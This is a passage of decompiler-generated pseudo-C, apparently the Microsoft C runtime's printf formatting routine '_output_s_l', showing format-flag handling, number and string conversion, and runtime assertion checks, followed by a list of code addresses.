																	goto L70;
																case 3:
																	L69:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L70;
																case 4:
																	goto L70;
															}
														case 7:
															L71:
															__ecx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x324) = __ecx;
															 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
															 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
															__eflags =  *(__ebp - 0x324) - 0x37;
															if( *(__ebp - 0x324) > 0x37) {
																while(1) {
																	L190:
																	__eflags =  *(_t701 - 0x28);
																	if( *(_t701 - 0x28) != 0) {
																		goto L216;
																	}
																	goto L191;
																}
															}
															L72:
															_t157 =  *(__ebp - 0x324) + 0xb95d9c; // 0xcccccc0d
															__ecx =  *_t157 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M00B95D60))) {
																case 0:
																	L123:
																	 *(__ebp - 0x2c) = 1;
																	__ecx =  *((char*)(__ebp - 0x251));
																	__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																	__eflags = __ecx;
																	 *((char*)(__ebp - 0x251)) = __cl;
																	goto L124;
																case 1:
																	L73:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	}
																	goto L75;
																case 2:
																	L88:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L90;
																case 3:
																	L147:
																	 *(__ebp - 0x260) = 7;
																	goto L149;
																case 4:
																	L81:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x288) = E00B93D50(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x288);
																	if( *(__ebp - 0x288) == 0) {
																		L83:
																		__edx =  *0xd121a0; // 0xb775a0
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E00B805E0( *(__ebp - 4));
																		L87:
																		goto L190;
																	}
																	L82:
																	__ecx =  *(__ebp - 0x288);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		L84:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x288);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x288);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x288);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x288);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L87;
																	}
																	goto L83;
																case 5:
																	L124:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__eax = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L126:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L129:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L131:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L00B7DEA0(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__eax =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__eax =  *(__ebp + 0x14);
																			__ecx =  *(__eax - 8);
																			__edx =  *(__eax - 4);
																			 *(__ebp - 0x2a8) =  *(__eax - 8);
																			 *(__ebp - 0x2a4) =  *(__eax - 4);
																			__ecx = __ebp - 0x40;
																			_push(E00B7C680(__ebp - 0x40));
																			__eax =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__ecx =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__edx =  *((char*)(__ebp - 0x251));
																			_push( *((char*)(__ebp - 0x251)));
																			__eax =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__ecx =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__edx = __ebp - 0x2a8;
																			_push(__ebp - 0x2a8);
																			__eax =  *0xd12188; // 0xddc09d6c
																			__eax =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E00B7C680(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0xd12194; // 0xddc09d6c
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																			if( *((char*)(__ebp - 0x251)) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E00B7C680(__ebp - 0x40));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx =  *0xd12190; // 0xddc09d6c
																					E00B849C0(__ecx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__edx =  *(__ebp - 4);
																			__eax =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__edx =  *(__ebp - 4);
																				__edx =  *(__ebp - 4) + 1;
																				__eflags = __edx;
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E00B805E0( *(__ebp - 4));
																			do {
																				L190:
																				__eflags =  *(_t701 - 0x28);
																				if( *(_t701 - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			} while ( *(__ebp - 0x324) > 0x37);
																			goto L72;
																		}
																		L127:
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags = __ecx - 0x67;
																		if(__ecx != 0x67) {
																			goto L129;
																		}
																		L128:
																		 *(__ebp - 0x30) = 1;
																		goto L131;
																	}
																	L125:
																	 *(__ebp - 0x30) = 6;
																	goto L131;
																case 6:
																	L75:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		__ebp + 0x14 = E00B93D50(__ebp + 0x14);
																		 *(__ebp - 0x284) = __ax;
																		__cl =  *(__ebp - 0x284);
																		 *(__ebp - 0x248) = __cl;
																		 *(__ebp - 0x24) = 1;
																	} else {
																		 *(__ebp - 0x280) = 0;
																		__edx = __ebp + 0x14;
																		__eax = E00B93D90(__ebp + 0x14);
																		 *(__ebp - 0x258) = __ax;
																		__eax =  *(__ebp - 0x258) & 0x0000ffff;
																		__ecx = __ebp - 0x248;
																		__edx = __ebp - 0x24;
																		 *(__ebp - 0x280) = E00B97890(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																		__eflags =  *(__ebp - 0x280);
																		if( *(__ebp - 0x280) != 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																	}
																	__edx = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	while(1) {
																		L190:
																		__eflags =  *(_t701 - 0x28);
																		if( *(_t701 - 0x28) != 0) {
																			goto L216;
																		}
																		goto L191;
																	}
																case 7:
																	L144:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	L153:
																	__eflags =  *(_t701 - 0x10) & 0x00008000;
																	if(( *(_t701 - 0x10) & 0x00008000) == 0) {
																		_t649 =  *(_t701 - 0x10) & 0x00001000;
																		__eflags = _t649;
																		if(_t649 == 0) {
																			__eflags =  *(_t701 - 0x10) & 0x00000020;
																			if(( *(_t701 - 0x10) & 0x00000020) == 0) {
																				_t651 =  *(_t701 - 0x10) & 0x00000040;
																				__eflags = _t651;
																				if(_t651 == 0) {
																					_t496 = E00B93D50(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					__eflags = 0;
																					 *(_t701 - 0x2b8) = _t496;
																					 *(_t701 - 0x2b4) = 0;
																				} else {
																					_t580 = E00B93D50(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t580;
																					 *(_t701 - 0x2b4) = _t651;
																				}
																			} else {
																				_t698 =  *(_t701 - 0x10) & 0x00000040;
																				__eflags = _t698;
																				if(_t698 == 0) {
																					_t581 = E00B93D50(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
																					 *(_t701 - 0x2b4) = _t698;
																				} else {
																					_t584 = E00B93D50(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t584;
																					 *(_t701 - 0x2b4) = _t698;
																				}
																			}
																		} else {
																			_t587 = E00B93D70(_t701 + 0x14);
																			_t703 = _t703 + 4;
																			 *(_t701 - 0x2b8) = _t587;
																			 *(_t701 - 0x2b4) = _t649;
																		}
																	} else {
																		_t588 = E00B93D70(_t701 + 0x14);
																		_t703 = _t703 + 4;
																		 *(_t701 - 0x2b8) = _t588;
																		 *(_t701 - 0x2b4) = _t647;
																	}
																	__eflags =  *(_t701 - 0x10) & 0x00000040;
																	if(( *(_t701 - 0x10) & 0x00000040) == 0) {
																		goto L170;
																	}
																case 8:
																	L109:
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x298) = E00B93D50(__ebp + 0x14);
																	__eax = E00B97280();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L119:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			__edx =  *(__ebp - 0x298);
																			__eax =  *(__ebp - 0x24c);
																			 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																		} else {
																			__eax =  *(__ebp - 0x298);
																			 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																		}
																		 *(__ebp - 0x28) = 1;
																		while(1) {
																			L190:
																			__eflags =  *(_t701 - 0x28);
																			if( *(_t701 - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																	L110:
																	__edx = 0;
																	__eflags = 0;
																	if(0 == 0) {
																		 *(__ebp - 0x32c) = 0;
																	} else {
																		 *(__ebp - 0x32c) = 1;
																	}
																	__eax =  *(__ebp - 0x32c);
																	 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																	__eflags =  *(__ebp - 0x29c);
																	if( *(__ebp - 0x29c) == 0) {
																		_push(L"(\"\'n\' format specifier disabled\", 0)");
																		_push(0);
																		_push(0x695);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		__eax = L00B7D760();
																		__esp = __esp + 0x14;
																		__eflags = __eax - 1;
																		if(__eax == 1) {
																			asm("int3");
																		}
																	}
																	__eflags =  *(__ebp - 0x29c);
																	if( *(__ebp - 0x29c) != 0) {
																		L118:
																		while(1) {
																			L190:
																			__eflags =  *(_t701 - 0x28);
																			if( *(_t701 - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	} else {
																		L117:
																		 *((intOrPtr*)(L00B80C60(__ecx))) = 0x16;
																		__eax = E00B809F0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																		 *(__ebp - 0x2f8) = 0xffffffff;
																		__ecx = __ebp - 0x40;
																		__eax = E00B7C650(__ecx);
																		__eax =  *(__ebp - 0x2f8);
																		goto L229;
																	}
																case 9:
																	goto L0;
																case 0xa:
																	L146:
																	 *(__ebp - 0x30) = 8;
																	goto L147;
																case 0xb:
																	L90:
																	__eflags =  *(__ebp - 0x30) - 0xffffffff;
																	if( *(__ebp - 0x30) != 0xffffffff) {
																		__edx =  *(__ebp - 0x30);
																		 *(__ebp - 0x328) =  *(__ebp - 0x30);
																	} else {
																		 *(__ebp - 0x328) = 0x7fffffff;
																	}
																	__eax =  *(__ebp - 0x328);
																	 *(__ebp - 0x290) =  *(__ebp - 0x328);
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 4) = E00B93D50(__ebp + 0x14);
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		L101:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__edx =  *0xd121a0; // 0xb775a0
																			 *(__ebp - 4) = __edx;
																		}
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x28c) =  *(__ebp - 4);
																		while(1) {
																			L104:
																			__ecx =  *(__ebp - 0x290);
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L105:
																			__eax =  *(__ebp - 0x28c);
																			__ecx =  *( *(__ebp - 0x28c));
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L106:
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																		}
																		L107:
																		__eax =  *(__ebp - 0x28c);
																		__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																		__eflags = __eax;
																		 *(__ebp - 0x24) = __eax;
																		goto L108;
																	} else {
																		L94:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__eax =  *0xd121a4; // 0xb77590
																			 *(__ebp - 4) = __eax;
																		}
																		 *(__ebp - 0xc) = 1;
																		__ecx =  *(__ebp - 4);
																		 *(__ebp - 0x294) =  *(__ebp - 4);
																		while(1) {
																			L97:
																			__edx =  *(__ebp - 0x290);
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			__eflags =  *(__ebp - 0x290);
																			if( *(__ebp - 0x290) == 0) {
																				break;
																			}
																			L98:
																			__ecx =  *(__ebp - 0x294);
																			__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																			__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
																			if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																				break;
																			}
																			L99:
																			 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																			 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																		}
																		L100:
																		 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																		__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																		 *(__ebp - 0x24) = __ecx;
																		L108:
																		while(1) {
																			L190:
																			__eflags =  *(_t701 - 0x28);
																			if( *(_t701 - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																case 0xc:
																	L145:
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	while(1) {
																		L153:
																		__eflags =  *(_t701 - 0x10) & 0x00008000;
																		if(( *(_t701 - 0x10) & 0x00008000) == 0) {
																			_t649 =  *(_t701 - 0x10) & 0x00001000;
																			__eflags = _t649;
																			if(_t649 == 0) {
																				__eflags =  *(_t701 - 0x10) & 0x00000020;
																				if(( *(_t701 - 0x10) & 0x00000020) == 0) {
																					_t651 =  *(_t701 - 0x10) & 0x00000040;
																					__eflags = _t651;
																					if(_t651 == 0) {
																						_t496 = E00B93D50(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						__eflags = 0;
																						 *(_t701 - 0x2b8) = _t496;
																						 *(_t701 - 0x2b4) = 0;
																					} else {
																						_t580 = E00B93D50(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t580;
																						 *(_t701 - 0x2b4) = _t651;
																					}
																				} else {
																					_t698 =  *(_t701 - 0x10) & 0x00000040;
																					__eflags = _t698;
																					if(_t698 == 0) {
																						_t581 = E00B93D50(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
																						 *(_t701 - 0x2b4) = _t698;
																					} else {
																						_t584 = E00B93D50(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t584;
																						 *(_t701 - 0x2b4) = _t698;
																					}
																				}
																			} else {
																				_t587 = E00B93D70(_t701 + 0x14);
																				_t703 = _t703 + 4;
																				 *(_t701 - 0x2b8) = _t587;
																				 *(_t701 - 0x2b4) = _t649;
																			}
																		} else {
																			_t588 = E00B93D70(_t701 + 0x14);
																			_t703 = _t703 + 4;
																			 *(_t701 - 0x2b8) = _t588;
																			 *(_t701 - 0x2b4) = _t647;
																		}
																		__eflags =  *(_t701 - 0x10) & 0x00000040;
																		if(( *(_t701 - 0x10) & 0x00000040) == 0) {
																			goto L170;
																		}
																		goto L166;
																	}
																case 0xd:
																	L148:
																	 *(__ebp - 0x260) = 0x27;
																	L149:
																	 *((intOrPtr*)(__ebp - 8)) = 0x10;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		 *((char*)(__ebp - 0x14)) = 0x30;
																		 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																		__eflags =  *(__ebp - 0x260) + 0x51;
																		 *((char*)(__ebp - 0x13)) = __al;
																		 *(__ebp - 0x1c) = 2;
																	}
																	while(1) {
																		L153:
																		__eflags =  *(_t701 - 0x10) & 0x00008000;
																		if(( *(_t701 - 0x10) & 0x00008000) == 0) {
																			_t649 =  *(_t701 - 0x10) & 0x00001000;
																			__eflags = _t649;
																			if(_t649 == 0) {
																				__eflags =  *(_t701 - 0x10) & 0x00000020;
																				if(( *(_t701 - 0x10) & 0x00000020) == 0) {
																					_t651 =  *(_t701 - 0x10) & 0x00000040;
																					__eflags = _t651;
																					if(_t651 == 0) {
																						_t496 = E00B93D50(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						__eflags = 0;
																						 *(_t701 - 0x2b8) = _t496;
																						 *(_t701 - 0x2b4) = 0;
																					} else {
																						_t580 = E00B93D50(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t580;
																						 *(_t701 - 0x2b4) = _t651;
																					}
																				} else {
																					_t698 =  *(_t701 - 0x10) & 0x00000040;
																					__eflags = _t698;
																					if(_t698 == 0) {
																						_t581 = E00B93D50(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
																						 *(_t701 - 0x2b4) = _t698;
																					} else {
																						_t584 = E00B93D50(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t584;
																						 *(_t701 - 0x2b4) = _t698;
																					}
																				}
																			} else {
																				_t587 = E00B93D70(_t701 + 0x14);
																				_t703 = _t703 + 4;
																				 *(_t701 - 0x2b8) = _t587;
																				 *(_t701 - 0x2b4) = _t649;
																			}
																		} else {
																			_t588 = E00B93D70(_t701 + 0x14);
																			_t703 = _t703 + 4;
																			 *(_t701 - 0x2b8) = _t588;
																			 *(_t701 - 0x2b4) = _t647;
																		}
																		__eflags =  *(_t701 - 0x10) & 0x00000040;
																		if(( *(_t701 - 0x10) & 0x00000040) == 0) {
																			goto L170;
																		}
																		goto L166;
																	}
																case 0xe:
																	while(1) {
																		L190:
																		__eflags =  *(_t701 - 0x28);
																		if( *(_t701 - 0x28) != 0) {
																			goto L216;
																		}
																		goto L191;
																	}
															}
														case 8:
															L30:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
															goto L33;
														case 9:
															L31:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															goto L33;
														case 0xa:
															L29:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000001;
															 *(__ebp - 0x10) = __ecx;
															goto L33;
														case 0xb:
															L28:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															goto L33;
														case 0xc:
															L32:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000008;
															__eflags = __ecx;
															 *(__ebp - 0x10) = __ecx;
															goto L33;
														case 0xd:
															L33:
															goto L218;
													}
												} else {
													if(0 == 0) {
														 *(_t701 - 0x314) = 0;
													} else {
														 *(_t701 - 0x314) = 1;
													}
													_t618 =  *(_t701 - 0x314);
													 *(_t701 - 0x278) =  *(_t701 - 0x314);
													if( *(_t701 - 0x278) == 0) {
														_push( &M00B77C38);
														_push(0);
														_push(0x460);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t545 = L00B7D760();
														_t703 = _t703 + 0x14;
														if(_t545 == 1) {
															asm("int3");
														}
													}
													L14:
													if( *(_t701 - 0x278) != 0) {
														goto L16;
													} else {
														 *((intOrPtr*)(L00B80C60(_t618))) = 0x16;
														E00B809F0(_t589, _t618, _t699, _t700,  &M00B77C38, L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
														 *(_t701 - 0x2f0) = 0xffffffff;
														E00B7C650(_t701 - 0x40);
														_t518 =  *(_t701 - 0x2f0);
														L229:
														return E00B805D0(_t518, _t589,  *(_t701 - 0x48) ^ _t701, _t665, _t699, _t700);
													}
												}
											}
											L219:
											__eflags =  *(_t701 - 0x25c);
											if( *(_t701 - 0x25c) == 0) {
												L222:
												 *(_t701 - 0x334) = 1;
												L223:
												_t605 =  *(_t701 - 0x334);
												 *(_t701 - 0x2e0) =  *(_t701 - 0x334);
												__eflags =  *(_t701 - 0x2e0);
												if( *(_t701 - 0x2e0) == 0) {
													_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
													_push(0);
													_push(0x8f5);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t523 = L00B7D760();
													_t703 = _t703 + 0x14;
													__eflags = _t523 - 1;
													if(_t523 == 1) {
														asm("int3");
													}
												}
												__eflags =  *(_t701 - 0x2e0);
												if( *(_t701 - 0x2e0) != 0) {
													 *(_t701 - 0x300) =  *(_t701 - 0x24c);
													E00B7C650(_t701 - 0x40);
													_t518 =  *(_t701 - 0x300);
												} else {
													 *((intOrPtr*)(L00B80C60(_t605))) = 0x16;
													E00B809F0(_t589, _t605, _t699, _t700, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
													 *(_t701 - 0x2fc) = 0xffffffff;
													E00B7C650(_t701 - 0x40);
													_t518 =  *(_t701 - 0x2fc);
												}
												goto L229;
											}
											L220:
											__eflags =  *(_t701 - 0x25c) - 7;
											if( *(_t701 - 0x25c) == 7) {
												goto L222;
											}
											L221:
											 *(_t701 - 0x334) = 0;
											goto L223;
										}
									}
									L187:
									__eflags =  *(_t701 - 0x24);
									if( *(_t701 - 0x24) == 0) {
										L189:
										 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
										 *((char*)( *((intOrPtr*)(_t701 - 4)))) = 0x30;
										_t639 =  *(_t701 - 0x24) + 1;
										__eflags = _t639;
										 *(_t701 - 0x24) = _t639;
										goto L190;
									}
									L188:
									__eflags =  *((char*)( *((intOrPtr*)(_t701 - 4)))) - 0x30;
									if( *((char*)( *((intOrPtr*)(_t701 - 4)))) == 0x30) {
										goto L190;
									}
									goto L189;
								}
								L183:
								asm("cdq");
								_t658 =  *(_t701 - 0x2c0);
								 *(_t701 - 0x2ac) = E00B855B0(_t658,  *(_t701 - 0x2bc),  *(_t701 - 8), _t657) + 0x30;
								asm("cdq");
								 *(_t701 - 0x2c0) = E00B85630( *(_t701 - 0x2c0),  *(_t701 - 0x2bc),  *(_t701 - 8), _t658);
								 *(_t701 - 0x2bc) = _t658;
								__eflags =  *(_t701 - 0x2ac) - 0x39;
								if( *(_t701 - 0x2ac) > 0x39) {
									_t662 =  *(_t701 - 0x2ac) +  *((intOrPtr*)(_t701 - 0x260));
									__eflags = _t662;
									 *(_t701 - 0x2ac) = _t662;
								}
								 *((char*)( *((intOrPtr*)(_t701 - 4)))) =  *(_t701 - 0x2ac);
								 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
								L181:
								_t657 =  *(_t701 - 0x30) - 1;
								 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
								__eflags =  *(_t701 - 0x30);
								if( *(_t701 - 0x30) > 0) {
									goto L183;
								}
								goto L182;
							}
						}
						L168:
						__eflags =  *(_t701 - 0x2b8);
						if( *(_t701 - 0x2b8) >= 0) {
							goto L170;
						}
						goto L169;
						L170:
						 *(_t701 - 0x2c0) =  *(_t701 - 0x2b8);
						 *(_t701 - 0x2bc) =  *(_t701 - 0x2b4);
						goto L171;
					}
				}
			}

0x00b9574c
0x00b9574c
0x00b9574c
0x00b9574c
0x00b9575c
0x00b9575e
0x00b95761
0x00b95761
0x00b95767
0x00b95767
0x00b9576a
0x00b9576a
0x00b9576d
0x00b95772
0x00b95794
0x00b95794
0x00b9579a
0x00b957bc
0x00b957bf
0x00b95806
0x00b95806
0x00b95809
0x00b9582a
0x00b9582f
0x00b95832
0x00b95834
0x00b9583a
0x00b9580b
0x00b9580f
0x00b95814
0x00b95817
0x00b95818
0x00b9581e
0x00b9581e
0x00b957c1
0x00b957c4
0x00b957c4
0x00b957c7
0x00b957e9
0x00b957ee
0x00b957f4
0x00b957f5
0x00b957fb
0x00b957c9
0x00b957cd
0x00b957d2
0x00b957d6
0x00b957d7
0x00b957dd
0x00b957dd
0x00b95801
0x00b9579c
0x00b957a0
0x00b957a5
0x00b957a8
0x00b957ae
0x00b957ae
0x00b95774
0x00b95778
0x00b9577d
0x00b95780
0x00b95786
0x00b95786
0x00b95843
0x00b95846
0x00000000
0x00000000
0x00b95848
0x00b95848
0x00b9584f
0x00000000
0x00000000
0x00b95851
0x00b95851
0x00b9585c
0x00b9586a
0x00b9586f
0x00b95875
0x00b95883
0x00b958a0
0x00b958a3
0x00b958a8
0x00b958ad
0x00b958b3
0x00b958c1
0x00b958c1
0x00b958ca
0x00b958ca
0x00b958b3
0x00b958d0
0x00b958d4
0x00b958e5
0x00b958e8
0x00b958ef
0x00b958f1
0x00b958f1
0x00b958d6
0x00b958d6
0x00b958d6
0x00b958fe
0x00b95904
0x00b95906
0x00b95906
0x00b95910
0x00b95913
0x00b95913
0x00b95919
0x00b9591c
